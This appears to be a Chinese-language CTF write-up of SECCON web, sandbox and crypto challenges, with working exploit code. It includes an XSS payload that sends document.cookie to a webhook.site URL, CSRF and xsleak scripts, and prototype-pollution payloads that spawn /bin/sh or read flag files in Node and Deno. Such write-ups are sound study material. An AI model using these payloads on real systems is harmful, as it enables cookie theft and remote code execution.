這次在 ${cYsTiCk} 解了幾題 web/misc
題目,最後拿到第二名。因為有幾題真的蠻好玩的所以寫個 writeup。
web
blink
核心在這個函數:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 const createBlink = async (html ) => { const sandbox = wrap ( $("#viewer" ).appendChild (document .createElement ("iframe" )) ); sandbox.sandbox = sandboxAttribute; sandbox.width = "100%" ; sandbox.srcdoc = html; await new Promise ((resolve ) => (sandbox.onload = resolve)); const target = wrap (sandbox.contentDocument .body ); target.popover = "manual" ; const id = setInterval (target.togglePopover , 400 ); return () => { clearInterval (id); sandbox.remove (); }; };
其中 html
可控,而 sandbox 那邊不能執行
script
。
我的想法很簡單,就是想辦法 clobber
sandbox.contentDocument.body.togglePopover
為字串,然後
setInterval
在吃字串的話就和 eval
一樣了。
我是用 iframe
+ name
弄掉
body
,然後 srcdoc
用 a
控字串就過了:
1 <iframe name =body srcdoc =" <a id=togglePopover href='cid:eval(frames[0].js.textContent)'>" > </iframe > <div id =js > (new Image).src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901?'+document.cookie</div >
最後的 url 像這樣:
1 http://blink.seccon.games:3000/#%3Ciframe%20name=body%20srcdoc=%22%20%20%3Ca%20id=togglePopover%20href='cid:eval(frames[0].js.textContent)'%3E%22%3E%3C/iframe%3E%3Cdiv%20id=js%3E(new%20Image).src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901?'+document.cookie%3C/div%3E
Flag:
SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}
hidden-note
用 go 寫的 xsleaks 題目,除了新增和搜尋 note 以外還有個特殊的 share
功能。
share 功能就是把你的搜尋結果用同個 template render 成 html 後存成靜態
html 而已。不過它一般的搜尋是用 gin 的 c.HTML
,而 share
的時候用了 text/template
,所以可以 html injection。
這邊之所以沒有 xss 是因為它 html 裡面有:
1 <meta http-equiv ="Content-Security-Policy" content ="script-src 'none'; style-src https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css" >
查一下可知用
<img referrerPolicy='unsafe-url' src='https://webhook.site/bf2e3eca-ae53-4ee8-9010-0c768b60c901'>
可以 leak referrer,所以只要 csrf create note 去 inject img tag,然後讓
bot share 之後我們就能在找到的 referrer url 裡面看到 flag 了...?
可惜實際上沒那麼簡單,因為 share 實際上會幫你 filter 掉
SECCON{.*}
形式的 note,所以裡面不會有
flag。完全體長這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 router.GET("/share" , func (c *gin.Context) { user := c.MustGet("user" ).(*User) notes, err := user.getNotes(user.Query) if err != nil { c.String(500 , "Failed to read notes" ) return } notes = lo.Filter(notes, func (note Note, _ int ) bool { return !secretPattern.MatchString(note.Content) }) fileName := getRandomHex(12 ) + ".html" file, err := os.OpenFile(fmt.Sprintf("shared/%s" , fileName), os.O_CREATE|os.O_WRONLY, 0600 ) if err != nil { c.Status(500 ) return } if err := indexTmpl.Execute(file, gin.H{ "user" : user, "notes" : notes, "shared" : true , }); err != nil { c.Status(500 ) return } c.Redirect(302 , fmt.Sprintf("/shared/%s" , fileName)) })
怎麼辦? 我想了很久後才在它 getNotes
中發現到關鍵:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 func (user *User) getNotes(query string ) ([]Note, error ) { files, err := os.ReadDir(fmt.Sprintf("notes/%s" , user.ID)) if err != nil { return nil , err } notes := make ([]Note, 0 , len (files)) for _, file := range files { content, err := os.ReadFile(fmt.Sprintf("notes/%s/%s" , user.ID, file.Name())) if err != nil { return nil , err } notes = append (notes, Note{ ID: file.Name(), Content: string (content), }) } notes = lo.Filter(notes, func (note Note, _ int ) bool { return strings.Contains(note.Content, query) }) sort.Slice(notes, func (i, j int ) bool { return notes[i].Content < notes[j].Content }) return notes, nil }
這邊可以知道它做的流程是 readdir
->
[(id, content)]
-> filter by content
->
sort by content
,然後最後才
filter flags
。這邊有一大關鍵是 sort.Slice 是 unstable
的,這代表的是假設你有兩個 Content
相同但 ID
不同的 Note,在排序後 go 不會保證他們的先後順序保持原樣。
而另外一個關鍵是 os.ReadDir 是會 sort filename
的,也就是 ID
。這代表什麼呢?
假設今天一些 note 在 filter 後 sort 前是這樣:
1 2 3 4 5 6 7 8 ID Content 0001 SECCON{f 0002 SECCON{f 0003 SECCON{f ... 0007 SECCON{flag} ... 0015 SECCON{f
排序之後 0007
理應會跑到最後面,而前面
SECCON{f
的 note 的 ID 順序是亂的。而當我把
SECCON{flag}
拿掉之後用 go
測試,發現它在這個情況下完全不會改變 ID 順序,所以用這個可以判斷有沒有
match flag。
實際上好像因為 go 內部有對 short slice 特殊處裡,所以要有一定數量的
notes 才會展現出這個特性
然而有個問題是我們還是要有 html injection 才能 leak search result
url,而 user.Query
因為要拿來搜 flag
所以無法使用,所以裡面勢必要有個 Note 內容為
asdasd <img ...> SECCON{f
才行。但這邊會造成的問題是我們無法判斷分辨這兩個情況下的 ID
會如何變化:
['SECCON{'] * n + ['asdasd <img ...> SECCON{f']
['SECCON{'] * n + ['asdasd <img ...> SECCON{f'] + ['SECCON{flag}']
不過我們仔細想想,我們真的不知道它會如何變化嗎? 在最後得到的 HTML
頁面上我們有了許多 note 的 ID
和
Content
,而它們在經過第一個 filter 之後的排序因為
os.ReadDir
的緣故我們其實是知道的 (按 ID
排序的)。
先考慮情況 1,假設此時直接拿一樣的 go 版本去按照 Content
排序,那它出來的結果的 ID
順序應該和 html
上面是一樣的。而情況 2 的話因為 SECCON{flag}
的關係,所以它會跑到最後之後被第二個 filter 拿掉,但 ID
順序就對不上了,所以這樣就能判斷有沒有 match flag 了。
實際上實作起來會有個 go 程式負責比較排序的部分:
ss.go
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package mainimport ( "crypto/rand" "encoding/hex" "encoding/json" "fmt" "os" "sort" ) type Note struct { ID string Content string } func Filter [V any ](collection []V, predicate func (item V, index int ) bool ) []V { result := make ([]V, 0 , len (collection)) for i, item := range collection { if predicate(item, i) { result = append (result, item) } } return result } func getRandomHex (n int ) string { bytes := make ([]byte , n) rand.Read(bytes) return hex.EncodeToString(bytes) } func main () { notes := []Note{} decoder := json.NewDecoder(os.Stdin) err := decoder.Decode(¬es) if err != nil { panic (err) } newNotes := make ([]Note, len (notes)) copy (newNotes, notes) sort.Slice(newNotes, func (i, j int ) bool { return newNotes[i].ID < newNotes[j].ID }) sort.Slice(newNotes, func (i, j int ) bool { return newNotes[i].Content < newNotes[j].Content }) fmt.Println(notes[0 ].ID == newNotes[0 ].ID) }
還有一個 flask server 處理一些 interaction:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsfrom bs4 import BeautifulSoupimport json, sysfrom subprocess import check_outputfrom flask import Flask, requestdef check_url (share_url ): html = requests.get(share_url).text soup = BeautifulSoup(html, "html.parser" ) notes = [] for f in soup.select("form" ): id = f.attrs["action" ].split("/" ).pop() ct = f.select_one("td" ).text notes.append({"ID" : id , "Content" : ct}) out = check_output(["go" , "run" , "ss.go" ], input =json.dumps(notes).encode()) return out.decode().strip() == "true" , soup.select_one("strong" ).text def sanity_check (): assert check_url( "http://hidden-note.seccon.games:3000/shared/18336c499ca1c79f257e3751.html" )[0 ] assert not check_url( "http://hidden-note.seccon.games:3000/shared/358801da7725d393aec082fc.html" )[0 ] app = Flask(__name__, static_folder="" ) @app.get("/" ) def index (): return app.send_static_file("index.html" ) @app.get("/report" ) def report (): print (request.headers, file=sys.stderr, flush=True ) url = request.headers["referer" ].replace( "web:3000" , "hidden-note.seccon.games:3000" ) print (url, file=sys.stderr, flush=True ) res, checking = check_url(url) print ((res, checking), file=sys.stderr, flush=True ) if not res: print ("!" * 40 , file=sys.stderr, flush=True ) print (checking, file=sys.stderr, flush=True ) return "" app.run(port=7777 , debug=True )
然後最後是 index.html
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <script > const base = `${location.protocol} //${location.host} ` const report = new URL ('/report' , base) const params = new URLSearchParams (location.search ) const target = params.get ('target' ) || 'http://hidden-note.seccon.games:3000/' async function createNote (content, timeout = 5000 ) { const w = window .open ('about:blank' ) with (w) { const form = w.document .createElement ('form' ) form.method = 'POST' form.action = new URL ('notes/new' , target) const input = w.document .createElement ('input' ) input.type = 'text' input.name = 'content' input.value = content form.appendChild (input) w.document .body .appendChild (form) form.submit () } return new Promise (res => { setTimeout (() => { w.close () res () }, timeout) }) } ;(async () => { const charset = '_}abcdefghijklmnopqrstuvwxyz0123456789' const prefix = 'SECCON{pdq_1e4k' for (const c of charset) { const guess = prefix + c await Promise .all (Array .from ({ length : 15 }).map (() => createNote (guess, 2000 ))) const ht = `<img referrerPolicy='unsafe-url' src='${report} '>` await createNote ('peko ' + ht + ' ' + guess, 500 ) window .open (new URL ('/share?query=' + encodeURIComponent (guess), target)) } })() </script >
我後來才想到我搜尋的時候不該用 SECCON{...
去搜,而是
ECCON{...
比較好,因為 SECCON{...}
會被移除掉
XD
sandbox
node-ppjail
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import * as fs from "node:fs" ;const CUSTOM_KEY = "__custom__" ;const CUSTOM_TYPES = [ "Object" , "String" , "Boolean" , "Array" , "Function" , "RegExp" , ]; type Dict = Record <string , unknown >;type Custom = { [CUSTOM_KEY ]: true ; type : string ; args : unknown []; }; const isDict = (value : unknown ): value is Dict => { return value === Object (value); }; const isCustom = (value : unknown ): value is Custom => { return isDict (value) && !!value[CUSTOM_KEY ]; }; const set = (target: unknown , key: string , value: unknown ) => { if (!isDict (target)) return ; if (key in target) return ; target[key] = value; }; const merge = (target: unknown , input: Dict ) => { if (!isDict (target)) return ; for (const key of Object .keys (input)) { const value = input[key]; if (!isDict (value)) { set (target, key, value); } else if (Array .isArray (value)) { set (target, key, []); merge (target[key], value); } else if (!isCustom (value)) { set (target, key, {}); merge (target[key], value); } else { const { type , args } = value; if (CUSTOM_TYPES .includes (type )) { try { set (target, key, new globalThis[type ](...args)); } catch {} } } } }; process.stdout .write ("Input your JSON: " ); const inputStr = (() => { const buf = new Uint8Array (1024 ); const n = fs.readSync (fs.openSync ("/dev/stdin" , "r" ), buf); return new TextDecoder ().decode (buf.slice (0 , n)); })(); const target : Dict = { title : "node-ppjail" , category : "sandbox" , }; merge (target, JSON .parse (inputStr));
簡單來說有個很明顯的 prototype pollution (題目名稱也已經告訴你了
XD),而且你還能額外弄一些特殊的 data type,其中包含
Function
,目標是 RCE。不過它 PP 的地方因為有個
key in target
的檢查,所以不能蓋掉已經存在的東西,例如
toString
這種都沒辦法用。
總之我一開始想透過把 Object.prototype.__proto__
換成我自己的 proxy,然後透過 get
去抓到底會有哪些 property
被存取到。然而這部分似乎是因為 ES2017 之後把
Object.prototype
變成 exotic object 了,裡面的
[[prototype]]
是被鎖住的所以我無法修改。(參考此答案 )
所以就因為如此我就決定直接 clone node.js 下來,把 v8 那部分 patch
掉之後自己重編。具體來說是把這一段程式碼 註解掉就行。
之後我就用了一些像是這樣的方法去紀錄 property access:
1 2 3 4 5 6 7 8 9 10 11 12 let props = '' Object .prototype .__proto__ = new Proxy ( { __proto__ : null }, { get : (target, prop, receiver ) => { props += `GET ${prop} ` + '\n' return Reflect .get (target, prop, receiver) }, __proto__ : null } )
之所以不直接用 console.log
是因為它裡面的東西也會碰到,然後就 recursion error 了 XD
不過我後來找了一找也沒找到在這個情況下能用了,但後來稍微通靈了一下想說既然
v8 有 Stack Trace
API ,那麼我如果汙染 Object.prototype.prepareStackTrace
有用嗎? 結果測試一下之後發現只要有個沒有被 catch 住的 exception
那就能觸發,所以這題就簡單了。
然而這邊會遇到的另一個問題是怎麼觸發 error。看了一下上面那邊可知
CUSTOM_TYPES
那邊都被 try catch
了,所以只能透過其他地方觸發。我第一個想到的作法是透過很深的 array 讓它
recursion error,然而這題要求輸入字串長度只能 1024 所以沒辦法。
後來想了想想到說 strict mode 的 function 是不能存取
caller
和 arguments
的,所以就想辦法讓它存取就過了。
1 { "__proto__" : { "prepareStackTrace" : { "__custom__" : true , "type" : "Function" , "args" : [ "'use strict';return process.binding('spawn_sync').spawn({'file':'/bin/sh','args':['sh','-c','cat /flag* > /dev/pts/0'],stdio: [{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}]}).output[1]" ] } } , "a" : { "prepareStackTrace" : { "caller" : { } } } }
這邊是透過讓我定義的那個 function 變為 strict mode,然後再存取它的
caller 搞定的。後來想了想其實還有個比較簡單的做法是直接
Object.caller
也可以,所以就有這個:
1 { "__proto__" : { "prepareStackTrace" : { "__custom__" : true , "type" : "Function" , "args" : [ "return process.binding('spawn_sync').spawn({'file':'/bin/sh','args':['sh','-c','cat /flag* > /dev/pts/0'],stdio: [{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}]}).output[1]" ] } , "constructor" : { "caller" : { } } } }
Flag: SECCON{Deno_i5_an_anagr4m_0f_Node}
另外是 @parrot409 的 payload:
1 { "constructor" : { "prototype" : { "prepareStackTrace" : { "__custom__" : true , "type" : "Function" , "args" : [ "console.log(process.mainModule.require(`fs`).readFileSync(`/flag-c4edc8d813ccfa253d090fa595a4cd91.txt`).toString())" ] } , "1" : { "__custom__" : true , "type" : "Function" , "args" : [ "2" ] } } } }
prepareStackTrace
的部分類似,不過把 1
蓋成
Function('2')
我就不太清楚是哪裡了,不過那確實能觸發
error。
deno-ppjail
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 const CUSTOM_KEY = "__custom__" ;const CUSTOM_TYPES = [ "Object" , "String" , "Boolean" , "Array" , "Function" , "RegExp" , ]; type Dict = Record <string , unknown >;type Custom = { [CUSTOM_KEY ]: true ; type : string ; args : unknown []; }; const isDict = (value : unknown ): value is Dict => { return value === Object (value); }; const isCustom = (value : unknown ): value is Custom => { return isDict (value) && !!value[CUSTOM_KEY ]; }; const set = (target: unknown , key: string , value: unknown ) => { if (!isDict (target)) return ; if (key in target) return ; target[key] = value; }; const merge = (target: unknown , input: Dict ) => { if (!isDict (target)) return ; for (const key of Object .keys (input)) { const value = input[key]; if (!isDict (value)) { set (target, key, value); } else if (Array .isArray (value)) { set (target, key, []); merge (target[key], value); } else if (!isCustom (value)) { set (target, key, {}); merge (target[key], value); } else { const { type , args } = value; if (CUSTOM_TYPES .includes (type )) { try { set (target, key, new globalThis[type ](...args)); } catch {} } } } }; const inputStr = prompt ("Input your JSON:" ) ?? "" ;const target : Dict = { title : "deno-ppjail" , category : "sandbox" , }; merge (target, JSON .parse (inputStr));
除了讀輸入的地方以外和前面一樣。
我也有想過 patch deno v8 來修改
Object.prototype.__proto__
,但是我沒成功 ==
總之既然改不了
Object.prototype.__proto__
,不訪改改看其他物件的如
Function
, Array
, Error
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const proxy = new Proxy ( {}, { get : (target, prop, receiver ) => { console .log ('get' , prop) return Reflect .get (target, prop, receiver) } } ) Object .setPrototypeOf (Function .prototype , proxy)Object .setPrototypeOf (Array .prototype , proxy)Object .setPrototypeOf (Error .prototype , proxy)Object .setPrototypeOf (String .prototype , proxy)Object .setPrototypeOf (Number .prototype , proxy)
然後在我觸發 error 之後發現它會讀 cause
,測試後發現
Object.prototype.cause
(實際上是 error.cause
)
的物件會被 console.log
(or console.error
)
出來。
然後我去讀了一下 console 後發現它有個 circular.get
在這邊 會被呼叫到,所以這樣就串起來了。error
部分我這次是改用 recursion error 觸發,因為沒有長度限制。
1 2 3 4 5 6 json = """{"constructor":{"prototype":{"cause":{"x":1},"circular":{"get": {"__custom__":true,"type":"Function","args":["for(const f of Deno.readDirSync('/'))if(f.name.includes('flag'))console.log(Deno.readTextFileSync('/'+f.name))"]} }}},"a":%s}""" depth = 5000 arr = "[" * depth + "]" * depth payload = json % arr print (payload)
另外是 @parrot409 也給了一個不同的解法:
1 '{"constructor":{"prototype":{"nodeProcessUnhandledRejectionCallback":{"__custom__":true,"type":"Function","args":["console.log(Array.from(Deno.readDirSync(`/`)));"]}}},"A":' +'[' .repeat (10000 )+']' .repeat (10000 )+'}' ;
看起來是某種 node.js compat 的地方觸發的,而 error 的方法和我一樣是
recursion error。
最後是題目作者 @Ark
的神奇作法: twitter
下面是簡化 ver
1 2 3 4 Object .prototype .return = () => console .log (123 )for (const x of [1 ]) { break }
and
1 2 Object .prototype .return = () => console .log (123 )const [x] = [1 ]
看到這個我也很好奇是為什麼,所以自己去讀了一下 spec 找到了關鍵: 7.4.8
IteratorClose
簡單來說 javascript 的 iterator protocol 可以定義一個
return(value)
的 function,用意是讓呼叫 iterator 的人告訴
iterator 之後不會再呼叫 next
了,所以 iterator
可以做一些清理的動作。(MDN )
而 for..of 和 destructing 的時候內部都會呼叫 iterator (即
it = obj[Symbol.iterator]()
),然後預設的 iterator
物件是沒有 return
的,所以只要 pollute 就能呼叫到了。
而上面那兩個範例是因為 break
代表提早結束,所以自然會進入 IteratorClose
。而 destructing
則是因為 destruct 的時候不知道右邊的 iterator 長度是多少,預設都要
IteratorClose
,只有 let [x, ...y] = [1]
(用
rest opearator 或是 destruct 的數量超過右側) 才不會觸發。
crypto
plai_n_rsa
RSA 給了 但沒有 ,要想辦法解密 flag。
我的作法是利用
不大的性質直接爆小的 拿 當作 ,那麼 就可以解出來了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from tqdm import trangee = 65537 d = 15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793 hint = 275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148 c = 8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813 for k in trange(1 , e): phi = (e * d - 1 ) // k n = phi + hint - 1 m = pow (c, d, n) flag = int (m).to_bytes(512 , "big" ).strip(b"\x00" ) if flag.startswith(b"SECCON{" ): print (flag) break